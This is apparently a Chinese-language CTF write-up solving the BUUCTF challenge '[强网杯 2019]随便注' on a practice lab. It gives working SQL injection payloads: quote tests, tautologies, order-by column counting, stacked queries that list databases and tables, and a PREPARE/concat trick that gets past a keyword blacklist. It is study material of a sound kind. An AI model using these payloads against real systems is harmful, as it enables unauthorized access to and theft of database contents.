[强网杯 2019]随便注 1
2023-11-28
| 2024-4-21
0  |  阅读时长 0 分钟
type
status
date
slug
summary
tags
category
icon
password
@ZZHow(ZZHow1024)

SQL Injection(SQL注入)类

含义:把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。

思路:判断是否存在注入,注入命令查询数据

实操:

1、启动靶机,观察题目界面

[强网杯 2019]随便注 1题目界面
[强网杯 2019]随便注 1题目界面
  • 发现是一个文本框,像是查询什么东西。
  • 怀疑可能是SQL注入,好吧,标题已经说了是“随便注”,就是SQL注入了
 

2、随便尝试提交一下

尝试一下
尝试一下
  • 观察到URL后多了 /?inject=1
  • 是GET方法,存在一个可以修改的参数。
 

3、在填入的内容结尾加上’(单引号),判断是不是SQL,且是否可以注入

  • 文本框内输入 1’
  • 点击提交
SQL报错
SQL报错
  • 出现SQL报错。
    • error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
  • 证明可以尝试SQL注入
  • 构建恒”真“语句,判断注入类型
    • 1 or 9=9
      • 只返回inject=1的内容
    • 1’ or ‘9’=’9
      • 返回了多组内容
        • 返回了多组内容
          返回了多组内容
  • 判断为字符型注入
 

4、按照套路来,判断字段数,查database、查table、查column…

  • 使用order by x 命令判断字段数
    • 构建:1' order by 3#
  • 发现当order by 3时,提示 error 1054 : Unknown column '3' in 'order clause'
  • 当order by 2时,无报错
  • 判断出字段数为2
  • 使用联合查询union select x,x命令判断显示位
    • 将inject改为查不到数据的大小
    • 构建:-1' union select 1,2#
出现意外情况
出现意外情况
  • return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
  • 好家伙,select|update|delete|drop|insert|where,这些语句全被过滤了。
  • 老的套路行不通。
 

5、新方法,“堆叠注入”

  • 查看数据库名:1';show databases;#
查看数据库名
查看数据库名
  • 查看表名:1';show tables;#
查看表名
查看表名
  • 查看"1919810931114514"表的详细信息:1';desc `1919810931114514`;#
    • 注意:如果tableName是纯数字,需要用反引号 ` ` 包裹
    • 查看"1919810931114514"表的详细信息
      查看"1919810931114514"表的详细信息
  • 发现flag!
 

6、想办法查看flag

  • 无法直接用select语句,我们可以通过预编译的方式拼接select 关键字:
    • 1';PREPARE abc from concat('s','elect', ' * from `1919810931114514` ');EXECUTE abc;#
 

7、解题成功!

notion image
  • 获得Flag!
 
  • CTF
  • BUUCTF
  • [SUCTF 2019]EasySQL 1[GXYCTF2019]Ping Ping Ping 1-BUUCTF
    Loading...
    目录